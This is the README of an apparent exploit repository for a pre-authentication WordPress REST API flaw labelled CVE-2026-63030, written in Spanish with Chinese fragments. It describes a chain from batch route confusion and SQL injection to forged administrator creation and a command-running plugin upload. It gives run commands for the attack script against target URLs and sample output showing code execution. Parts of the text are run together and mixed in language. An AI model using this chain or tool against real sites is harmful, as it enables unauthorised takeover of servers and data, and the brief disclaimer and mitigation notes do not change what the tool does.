
WordPress RCE EXP no autorizado | CVE-2026-63030
PoC de cadena de explotación completa en WordPress REST API: confusión de rutas batch + inyección SQL que conducen a creación de administrador sin autenticación → ejecución remota de código.
Solo para pruebas de seguridad autorizadas, reproducción de vulnerabilidades e investigación. Prohibido su uso en objetivos no autorizados.
| Elemento | Descripción |
|---|
| CVE | CVE-2026-63030 |
| Componente | WordPress Core REST API (/batch/v1) |
| Versiones afectadas | WordPress 6.9.0 – 6.9.4 y 7.0.0 – 7.0.1 (según el aviso oficial) |
| Requisito previo del ataque | El objetivo tiene habilitado el batch de la REST API; el sitio tiene al menos un artículo o página publicada |
| Requisito de permisos | Sin autenticación (Pre-Auth) |
| Impacto | Crear una cuenta de administrador y, además, subir un plugin para lograr RCE |
REST batch 路由混淆
→ author__not_in SQL 注入
→ UNION 伪造 WP_Post / oEmbed cache / Customizer changeset
→ Customizer 发布时切换为已有管理员上下文
→ REST /wp/v2/users 创建新管理员
→ 后台上传一次性插件
→ 执行系统命令
El núcleo no está en la «escritura en la base de datos mediante consultas apiladas», sino en:
serve_batch_request_v1() no sincronizan los índices de $matches / $validation, lo que provoca route confusion.author_exclude en forma de cadena entra en author__not_in de WP_Query, se concatena en NOT IN (...) y se forma una inyección SQL.UNION SELECT se falsifica una fila completa de wp_posts, se activa la lógica de oEmbed / Customizer y se cambia el contexto del usuario actual al de un administrador existente.proc_open / passthru / system / shell_exec / exec / popen)disable_functions deshabilita todas las funciones de ejecución de comandos, aún se puede crear el administrador correctamente, pero la fase de RCE fallaráCVE-2026-63030/
├── exp.py # 完整利用脚本(单文件,零依赖)
└── README.md # 本说明
id por defecto)python3 exp.py --url http://192.168.1.10:8080/
python3 exp.py --url http://192.168.199.134:9005/ --username mht --password 'mht666' --email [email protected] --command 'id' --timeout 60
| Parámetro | Obligatorio | Valor por defecto | Descripción |
|---|---|---|---|
--url | Sí | Ninguno | URL raíz del WordPress objetivo |
--username | No | wp2_<hex> | Nombre de usuario del administrador a crear |
--password | No | Wp2!<random> | Contraseña del administrador a crear |
--email | No | <username>@wp2shell.invalid | Correo electrónico del administrador a crear |
--command / -c | No | id | Comando que se ejecutará mediante el plugin de un solo uso |
--timeout | No | 60 | Tiempo de espera HTTP por solicitud (segundos) |
[*] Creating administrator via SQLi -> customizer bridge...
[+] Generated administrator: labadmin
[*] Password: S3cure!pass
[*] Email: [email protected]
[*] Logging in as generated administrator...
[+] Authenticated.
[*] Uploading one-shot command plugin...
[*] Plugin path: http://192.168.1.10:8080/wp-content/plugins/lab_wp2_cmd_xxxxxxxx/lab_wp2_cmd_xxxxxxxx.php
[*] Executing command: id
[+] command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[via: proc_open]
[*] Deleting generated administrator...
[+] Generated administrator removed.
[*] Cleaning up temporary plugin...
[+] Temporary plugin removed.
El script intenta al finalizar:
Si falla en algún punto, limpia manualmente con las credenciales indicadas en la salida.
has been disabled for security reasons, significa que disable_functions ha deshabilitado la función correspondiente. El PoC intenta varios métodos de ejecución en secuencia; si todos están deshabilitados, RCE no está disponible, pero la fase de creación del administrador aún puede tener éxito.wp-admin/users.php y wp-content/plugins/./batch/v1disable_functions y la configuración del usuario web con privilegios mínimos para reducir el impacto de la ejecución de RCEEl código de este repositorio se utiliza únicamente para investigación de seguridad y reproducción autorizada de vulnerabilidades. El usuario debe asegurarse por sí mismo de cumplir con las leyes y regulaciones locales y con el alcance de autorización del sistema objetivo. El autor no se hace responsable de ningún uso indebido.